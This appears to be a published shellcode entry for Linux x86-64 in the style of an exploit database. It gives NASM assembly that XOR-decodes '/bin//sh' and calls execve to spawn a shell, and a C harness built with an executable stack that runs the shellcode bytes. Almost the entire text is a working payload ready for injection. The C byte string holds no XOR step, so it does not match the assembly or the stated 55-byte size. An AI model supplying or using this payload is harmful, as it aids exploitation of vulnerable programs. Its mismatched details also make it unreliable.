(shellcode) Linux-x64 – create a shell with execve() sending argument using XOR (/bin//sh) [55 bytes]
# Exploit Title: Linux-x64 - create a shell with execve() sending argument using XOR (/bin//sh) [55 bytes] # Shellcode Author: Alexys (0x177git) # Tested on: Linux (x86_64) # Shellcode Description: creating a new process using execve() syscall sending bin//sh as argument | (encrypted using XOR operation was QWORD size (/bin - //sh)) # Blog post: @MoreRubyOfSec (https://t.me/MoreRubyOfSec) on Telegram # Original code: [https://github.com/0x177git/xor-encrypted-execve-sh](https://github.com/0x177git/xor-encrypted-execve-sh/blob/main/execve-xor-encrypted-argv.asm) ---- Assembly code ---- section .text global _start _start: xor eax, eax xor edx, edx ; clear rdx (argv on execve() protoype) mov qword [rsp-32], 0x7466684b ; mov qword [rsp-28],0x60650b1d ; encrypted(/bin//sh) 0x60, 0x65, 0xb, 0x1d, 0x74, 0x66, 0x68, 0x4b xor qword [rsp-32], 0x1a0f0a64 xor qword [rsp-28], 0x08162432 ; passwd 0x8, 0x16, 0x24, 0x32, 0x1a, 0xf, 0xa, 0x64 lea rdi, [rsp-32] push rax ; end of string push rdi ; send string to stack mov rsi, rsp ; send address of RSP to rsi -> (arg on linux syscall architecture convection) || execve(rsi, rdx) ; call execve() mov al, 0x3b syscall - - - - shellcode execution using stack in c ( gcc -z execstack shellcode.c -o shellcode ) ---- /* "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05" ; */ void main () { const char shellcode [] = "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05" ; void ( * f )() = ( void ( * )()) shellcode ; f (); } |